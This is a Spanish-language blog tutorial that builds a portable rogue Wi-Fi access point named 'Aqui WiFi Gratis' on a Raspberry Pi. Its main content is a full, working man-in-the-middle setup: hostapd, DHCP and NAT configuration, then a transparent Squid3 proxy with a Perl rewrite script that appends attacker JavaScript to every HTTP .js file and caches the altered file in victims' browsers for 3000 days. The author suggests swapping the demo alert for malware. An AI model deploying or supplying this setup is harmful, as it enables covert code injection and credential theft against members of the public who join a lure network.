Fake Access Point con Raspberry Pi e inyección de JS con Squid3

En este artículo que escribí hace ya un tiempo presenté el caso de Natalia, un personaje ficticio que vio comprometida su cuenta de Facebook tras conectarse a un punto de acceso público sin considerar los riesgos.

En dicho artículo el Honeypot que hice para recrear el caso robaba las credenciales de acceso a Facebook con una página que era un login falso de la red social.

Hoy, decidí hacerlo un poco más imperceptible al usuario, el access point le dará internet una vez que este se conecte, pero, cada archivo Javascript que descargue desde un sitio no seguro (cualquiera que no sea https)  contendrá código que le mostrará un pequeño saludo, aunque también podríamos hacer que descargue malware en su equipo :).

Además de esto, nuestro Fake Access Point ¡será portatil!

Renuncia de responsabilidad: El siguiente tutorial es presentado con fines meramente educacionales. Cada lector que replique este experimento es responsable de su uso y de los resultados obtenidos.

Para crear este proyecto necesitamos el siguiente hardware:

  • Raspberry Pi: Cualquiera con Ethernet y por lo menos 2 puertos USB (en el caso de RPi 3 solo usaríamos 1, ya que trae Wifi integrado). Yo usaré una raspberry Pi Modelo B.
  • 2 tarjetas de red inalámbricas: Una con chipset RA Link 3070 (esta funcionará en modo AP) y la otra con el chipset que sea. yo usaré una Realtek 8188 CUS (funcionará en modo cliente).
  • Un teléfono celular que pueda hacerla de hotspot. Yo usaré un Galaxy J7.

Y estos son los pasos a seguir:

Preparar la Raspberry

Lo primero que hacemos es instalar la imagen de Raspbian en una tarjeta SD. Recomiendo usar una imagen con la la última versión, la cual se puede descargar desde el sitio oficial de Raspberry Pi. Si no sabes realizar este proceso puedes echar un vistazo aquí (ahí explico como instalar las imágenes de raspbian en una SD, entrar por SSH, expandir el sistema de archivos y entrar por escritorio remoto).

Después actualizamos los repositorios con

# apt-get update

Instalamos las actualizaciones con

# apt-get upgrade

En este punto puedes ir por café o un sándwich, suele tardar mucho.

Configurar tu celular para que funcione como Hotspot

Dependiendo de la marca, modelo y sistema operativo existen varias formas de hacer este paso. En el caso de Android debe estar en Ajustes -> Módem y Conexión compartida.

Yo le he puesto como nombre de red (Red Oculta), para disimular. De preferencia ponle una contraseña larga.

En la seguridad seleccionamos WPA2 PSK.

Configurando el Hotspot del celular

Configurar una de las tarjetas de red (wlan0) para que se conecte al hotspot de tu celular

El objetivo de este paso es hacer que nuestro teléfono celular le brinde internet a la Raspberry Pi.

Antes de comenzar debemos identificar de manera clara que Raspian reconozca ambas tarjetas de red, para ello escribimos en la consola

$ lsusb

Y se mostrará algo parecido a esto

Bus 001 Device 005: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
Bus 001 Device 004: ID 0bda:8191 Realtek Semiconductor Corp.
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9512 Standard Microsystems Corp. LAN9500 Ethernet 10/100 Adapter / SMSC9512/9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

En mi caso, reconoce ambas tarjetas conectadas (Bus 001 Device 005 y Bus 001 Device 006)

Para ver los detalles de cada una escribimos

$ iwconfig

Y se mostrará algo parecido a esto

wlan0 unassociated Nickname:"<WIFI@REALTEK>"
 Mode:Auto Frequency=2.412 GHz Access Point: Not-Associated
 Sensitivity:0/0
 Retry:off RTS thr:off Fragment thr:off
 Power Management:off
 Link Quality:0 Signal level:0 Noise level:0
 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

lo no wireless extensions.

eth0 no wireless extensions.

wlan1 IEEE 802.11bgn ESSID:off/any
 Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
 Retry short limit:7 RTS thr:off Fragment thr:off
 Power Management:off

En mi caso me interesa la parte que dice “WIFI@REALTEK” ya que sé de antemano que la tarjeta Realtek es la que quiero usar en modo cliente. Ahora sé que es wlan0.

Para hacer que se conecte al hotspot del celular debemos editar el archivo interfaces, para ello escribimos lo siguiente:

# nano /etc/network/interfaces

En el editor buscamos el bloque que empieza con allow-hotplug wlan0 y lo reemplazamos por lo siguiente:

allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp

Ahora buscamos el bloque que comienza con allow-hotplug wlan1 y lo reemplazamos por este otro:

allow-hotplug wlan1
#iface wlan1 inet manual
# wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

Esto evitará que se conecten ambas tarjetas de red al hotspot.

Guardamos <Ctrl + O> y salimos <Ctrl + X>. Posteriormente editamos el wpa_supplicant

# nano /etc/wpa_supplicant/wpa_supplicant.conf

Y añadimos al final del archivo

network={
     ssid="NOMBRE QUE LE PUSISTE A TU RED"
     psk="CONTRASEÑA QUE LE PUSISTE A TU RED"
     proto=RSN
     key_mgmt=WPA-PSK
     pairwise=CCMP
     auth_alg=OPEN
}

Guardamos y salimos.

Para probar que se conecte a la red de nuestro celular, encendemos el hotspot de este y reiniciamos la Raspberry .

# reboot

Al reiniciar debe aparecernos en el celular un dispositivo conectado. También podemos comprobar la conexión si escribimos:

$ ifconfig wlan0

wlan0_connected

Instalar Hostapd, isc-dhcp-server e iptables-persistent

Hostapd se encargará de crear el Access Point, isc-dhcp-server se encargará de asignar direcciones IP y registrar en la red a los clientes que se conecten. Para instalarlos escribimos

# apt-get install hostapd isc-dhcp-server

Instalando Hostapd

También necesitaremos instalar iptables-persistent, el cual nos ayudará a no tener que reconfigurar iptables cada vez que reiniciemos la Raspberry.

# apt-get install iptables-persistent

Al instalar iptables-persistent aparecerán 2 preguntas. Hay que responder a las 2

Responder Sí a las 2 preguntas

Configurar el servidor DHCP

Como ya mencioné, el servidor DHCP se encargará de asignar IP a los clientes y registrarlos en la red (darles DNS, máscara de red, etc). Para configurarlo hacemos lo siguiente:

# nano /etc/dhcp/dhcpd.conf

Buscamos las líneas que dicen

option domain-name "example.org";
option domain-name-servers ns1.example.org, ns2.example.org;

Y les ponemos una almohadilla # delante para comentarlas, de tal forma que queden:

#option domain-name "example.org";
#option domain-name-servers ns1.example.org, ns2.example.org;

Ahora buscamos las líneas que dicen

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
#authoritative;

Y le quitamos el comentario (la almohadilla) a authoritative, para que quede

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

Por último nos desplazamos al final del archivo y añadimos lo siguiente:

subnet 192.168.42.0 netmask 255.255.255.0 {
   range 192.168.42.10 192.168.42.50;
   option broadcast-address 192.168.42.255;
   option routers 192.168.42.1;
   default-lease-time 600;
   max-lease-time 7200;
   option domain-name "local";
   option domain-name-servers 8.8.8.8, 8.8.4.4;
}

Guardamos y salimos

Ahora editamos el archivo isc-dhcp-server, con el siguiente comando:

# nano /etc/default/isc-dhcp-server

En la parte de abajo buscamos la línea que dice INTERFACES=”” y la cambiamos por INTERFACES=”wlan1″

Guardamos y salimos.

interfaces_wlan1

Ponerle IP Fija a wlan1

Por si acaso hay una configuración activa en wlan1 la echamos abajo con

# ifdown wlan1

Después volvemos a editar el archivo interfaces con

# nano /etc/network/interfaces

Borramos o comentamos cualquier configuración relacionada a wlan1 y colocamos:

allow-hotplug wlan1
iface wlan1 inet static
   address 192.168.42.1
   netmask 255.255.255.0

En mi caso, el archivo interfaces completo luce ahora así:

interfaces_full

Guardamos y salimos

Para no tener que reiniciar, ponemos la IP estática a wlan1 con

# ifconfig wlan1 192.168.42.1

Configurar el Access Point

Para intentar que más personas se conecten a nuestra red vamos a crear una red abierta llamada “Aqui WiFi Gratis“. Comenzamos creando el archivo de configuración de hostapd

# nano /etc/hostapd/hostapd.conf

Y pegamos lo siguiente:

interface=wlan1
driver=nl80211
ssid=Aqui WiFi Gratis
country_code=BO
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0

Guardamos y salimos.

Para decirle a hostapd que use el archivo de configuración que acabamos de crear, hacemos lo siguiente:

# nano /etc/default/hostapd

Buscamos la linea que dice #DAEMON_CONF= y la reemplazamos por DAEMON_CONF=/etc/hostapd/hostapd.conf

No olvides retirar la almohadilla al inicio de la línea

Guardamos y salimos.

Posteriormente hacemos lo mismo con el archivo hostapd de la carpeta init.d

# nano /etc/init.d/hostapd

Buscamos la linea que dice DAEMON_CONF= y la reemplazamos por DAEMON_CONF=/etc/hostapd/hostapd.conf

Guardamos y salimos.

Configurar NAT

Configurar NAT permitirá que la información proveniente de la red que creamos con el celular “sepa como llegar” a cada cliente que se conecte a nuestro Access Point y viceversa. Para comenzar a configurarlo habilitamos el “forwardeo” de paquetes, para ello hacemos

# nano /etc/sysctl.conf

Y agregamos justo al final

net.ipv4.ip_forward=1

Guardamos y salimos. Para activarlo de una vez sin reiniciar ejecutamos

# sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

Ahora ejecutamos la siguiente secuencia de comandos (uno a la vez) para crear las traducciones de red entre wlan0 y wlan1

# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
# iptables -A FORWARD -i wlan0 -o wlan1 -m state --state RELATED,ESTABLISHED -j ACCEPT
# iptables -A FORWARD -i wlan1 -o wlan0 -j ACCEPT

Puedes comprobar el nuevo estado de Iptables con

# iptables -t nat -S
# iptables -S

Ahora guardamos la configuración de iptables con iptables-save, así no tendremos que configurarlas en cada reinicio.

# iptables-save > /etc/iptables/rules.v4

Probando el Access Point

Llego el momento de la primera prueba, ejecutamos

# /usr/sbin/hostapd /etc/hostapd/hostapd.conf

Para ejecutar hostapd de manera manual con nuestro archivo de configuración. En este punto se debe apreciar como inicia el Access Point y si buscamos con otro dispositivo las redes disponibles debe aparecernos “Aqui WiFi Gratis

Presionamos Ctrl + C para detener Hostapd y damos los toques finales.

Verificamos que ambos servicios son capaces de iniciar sin errores

# service hostapd start
# service isc-dhcp-server start

(Puedes consultar en todo momento el estado de los servicios con)

# service hostapd status
# service isc-dhcp-server status

Una vez verificado que ambos servicios iniciaron sin errores podemos hacer que inicien de forma automática al encender la Raspberry.

# update-rc.d hostapd enable 
# update-rc.d isc-dhcp-server enable

Por último, ejecutamos el comando poweroff y esperamos hasta que la Raspberry se apague.

Segunda prueba del Access Point

Para esta prueba lo único que debemos hacer es encender el hostspot del celular y luego la Raspberry, esperamos unos 3 minutos y luego con otro dispositivo buscamos y nos conectamos a la red “Aqui WiFi Gratis”.

Si todo está bien debemos de poder navegar en Internet con el dispositivo recién conectado.

Instalación de Apache y PHP5

Usaremos PHP5 sobre un servidor Apache para mostrar avisos al usuario, (aquella frase de “esta red está siendo utilizada para fines de investigación, bla bla, bla”) y para ayudarnos en la tarea de inyección de código a las páginas que visite el usuario.

Empezamos a instalar con

# apt-get install apache2

Si la instalación fue correcta debemos ver el típico “It Works” desde cualquier dispositivo conectado a la red “Aqui WiFi Gratis” si escribimos la IP de wlan1 en el navegador: 192.168.42.1

El famoso "It Works"visto desde el celular

Ahora instalamos PHP5 y algunas de sus librerías con

# apt-get install php5

# apt-get install libapache2-mod-php5

Por último reiniciamos Apache

# service apache2 restart

Instalación de Squid3

Squid3 es un servidor proxy que nos permite entre otras cosas, restringir el acceso a ciertas páginas, acelerar la carga de las mismas (por el caché que contiene), etc. En nuestro caso lo vamos a usar para interceptar algunos archivos .js y añadirles un código malintencionado.

Empezamos su instalación con:

# apt-get install squid3

Podemos verificar si ya está en ejecución con:

# service squid3 status

Configuración de Squid3

Lo primero que vamos a hacer es crear los directorios de la chaché de Squid (si ya existía una cache en los directorios a los que haré referencia, sera eliminada y creada de nuevo), para ello seguimos la siguiente secuencia de comandos:

# squid3 -k shutdown

# rm -rf /var/spool/squid/

# mkdir /var/spool/squid3

# chown proxy:proxy /var/spool/squid3

Enseguida respaldamos el archivo de configuración original y lo reemplazamos por el nuestro

# cd /etc/squid3/

# mv squid.conf squid.conf.orig

# nano squid.conf

Y pegamos lo siguiente:

http_port 3128

error_directory /usr/share/squid3/errors/Spanish
forwarded_for off

http_access allow all

cache_effective_user proxy
cache_dir ufs /var/spool/squid3 100 16 256

#dns_nameservers 8.8.8.8

#url_rewrite_children 50 startup=1 idle=1 concurrency=1
#url_rewrite_program /etc/squid3/banner.pl

#Esta linea es opcional
cache_mgr tucorreo@aqui.com

Observa que las lineas url_rewite_program, url_reqwite_children y dns_nameservers están comentadas, todavía no las usamos.

Cruzamos los dedos e iniciamos Squid con el paraámetro -z para que cree la nueva estructura de  la caché

# squid3 -z

Si todo va bien veremos como empieza a crear los directorios de la caché. Cuando parezca que se queda trabado (no despliega más cosas), simplemente le damos <ENTER> y nos debe de regresar al símbolo del sistema.

Si no lo hizo correctamente, algo anda mal con el archivo de configuración, verifícalo e intenta de nuevo.

Por último, iniciamos el servicio de squid

# service squid3 start

Para probar que nuestro proxy va bien, necesitarás una computadora que esté conectada a la misma red que eth0 de la Raspberry (puede ser una máquina virtual con el adaptador de red en modo puente). Configura dicho equipo para que use proxy, poniendo en los datos del servidor la IP de eth0 de la Raspberry (en mi caso 192.168.44.23) y el puerto es el 3128. No te brinques este paso, usaremos esta computadora después.

Si intentamos abrir una página que no existe, se nos debe mostrar una página de error de Squid3 (ver imagen)

En esa misma computadora intenta a navegar en Internet, si puedes significa que este cliente ya sale a través del proxy (yeah!)

Si todo te ha salido igual hasta aquí, estás listo para dar el siguiente paso 🙂

Revision técnica: si no consigues navegar, quita el comentario la línea dns_nameservers 8.8.8.8 del archivo squid.conf y reinicia el servicio squid.

Hacer el script que inyectará el código

El script que inyectará el código será escrito en Perl, para entender su funcionamiento debemos considerar que squid le envía entre otros parámetros la URL solicitada. Lo único que hacemos es analizarla y si esta termina en .js asumimos que es un archivo Javascript, así que volcaremos su contenido en un archivo nuevo, le añadiremos nuestro código malintencionado y retornaremos el archivo nuevo haciéndolo pasar por el original. Algo así:

Si URL termina con .js entonces

   contenido=Leer contenido de la URL

   contenido += Nuestro código malintencionado

   retornar contenido

de lo contrario

   retornar contenido de URL

Comenzamos a crear el achivo con el siguiente comando:

# nano /etc/squid3/banner.pl

Y en el editor pegamos lo siguiente:

#!/usr/bin/perl
use strict;
$| = 1;
my $count = 0;
my $pid = $$;

while(<>) {
 chomp $_;
 if($_ =- /(.*\.js)/i)
 {
 my $url = $1;
 my $file = "/var/www/html/tmp/" . $pid . "-" . $count . ".js";

 system ("/usr/bin/wget -a /var/www/html/tmp/wget_.log -q -O " . $file . " " . $url );
 system("chmod 777 /var/www/html/tmp/$pid-$count.js");
 system("cat /etc/squid3/pasarela.js >> /var/www/html/tmp/$pid-$count.js");
 print "http://127.0.0.1:80/tmp/$pid-$count.js\n";

}
 else
 {
 print "$_\n";
 }
 $count++;

}

Como puedes observar en el código, el archivo .js original se obtiene con wget. Después con el comando cat le agregamos nuestro Javascript malintencionado;  este estará ubicado en pasarela.js

Le asignamos permisos de ejecución al script:

chmod +x /etc/squid3/banner.pl

El siguiente paso es crear pasarela.js con un javascript que podrá ir desde un alert hasta algo muy complejo. Aquí el límite lo pone tu imaginación.

# nano /etc/squid3/pasarela.js

Y yo en mi caso puse lo siguiente:

alert("Inyección de JS en páginas no seguras con squid3 :)");

Asegúrate de incluir un salto de línea antes del código que vas a inyectar y otro salto después.

Ahora volvemos a editar el squid.conf

# nano /etc/squid3/banner.pl

Y quitamos los comentarios de las líneas

# url_rewrite_children 50 startup=1 idle=1 concurrency=1
# url_rewrite_program /etc/squid3/banner.pl

Para que queden:

url_rewrite_children 50 startup=1 idle=1 concurrency=1
url_rewrite_program /etc/squid3/banner.pl

Guardamos, salimos y reiniciamos el servicio de squid3

# service squid3 restart

Por último, creamos el directorio tmp dentro de /var/www/html, ya que en este se alojarán los archivos js que se obtengan con wget. También le asignamos permisos

# mkdir /var/www/html/tmp
# chmod -R 777 /var/www/html/tmp

El último paso antes de comenzar a probar es hacer que el archivo “infectado” permanezca en la caché del los navegadores hasta que el usuario borre el historial (no bastará con cerrar el navegador).

# cd /var/www/html/tmp
# nano .htaccess

Y pegamos:

ExpiresActive On
ExpiresDefault "access plus 3000 days"

Guardamos y reiniciamos Apache

# service apache2 restart

Probando probando

Con la computadora que usamos en el paso anterior intentamos a navegar en páginas vulnerables (cualquiera que no use https) y si inspeccionamos cualquier archivo .js debe de traer el código de nuestro pasarela.js

Intenta con estas:

Revisión técnica: Si el Javascript tiene antes antes el HTML del index.html de nuestro Apache hacemos lo siguiente:

# cd /var/www/html
# mv index.html index.original
# touch index.html

Si todo te ha salido bien hasta aquí, estas listo para el último paso

Configuración del Squid3 e iptables

Editamos el archivo squid.conf

# nano /etc/squid3/sqid.conf

Buscamos la línea http_port 3128 y le añadimos transparent, para que quede

http_port 3128 transparent

Si aún está comentada la línea dns_nameservers 8.8.8.8 ahora es momento de quitarle la almohadilla para activarla.

Guardamos, salimos y reiniciamos squid3.

Por último pasamos todo el tráfico del puerto 80 al 3128

# iptables -t nat -A PREROUTING -p tcp -s 0.0.0.0/0 --dport 80 -j REDIRECT --to 3128

Antes de guardar la configuración de iptables nos aseguramos que funcione. Encendemos el hotspot del celular, esperamos a que la Raspberry se conecte, entonces con otro dispositivo nos conectamos a la red Aqui WiFi Gratis e intentamos navegar en paginas no seguras.

Nuestra red "Aqui WiFi Gratis" ya inyecta Javascript en páginas no seguras

Nuestra red “Aqui WiFi Gratis” ya inyecta Javascript en páginas no seguras

Si vemos que se ejecuta el código de nuestro archivo pasarela.js es momento de guardar la configuración de iptables.

# iptables-save > /etc/iptables/rules.v4

Disfrutar!

Como ya mencioné, el archivo pasarela.js puede contener cualquier código Javascript. Yo usé un simple alert, pero nada impide que se incluya código más complejo. Queda a tu criterio hacer algo más complejo.

No olvides seguirme en Twitter: @underdog1987

 

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s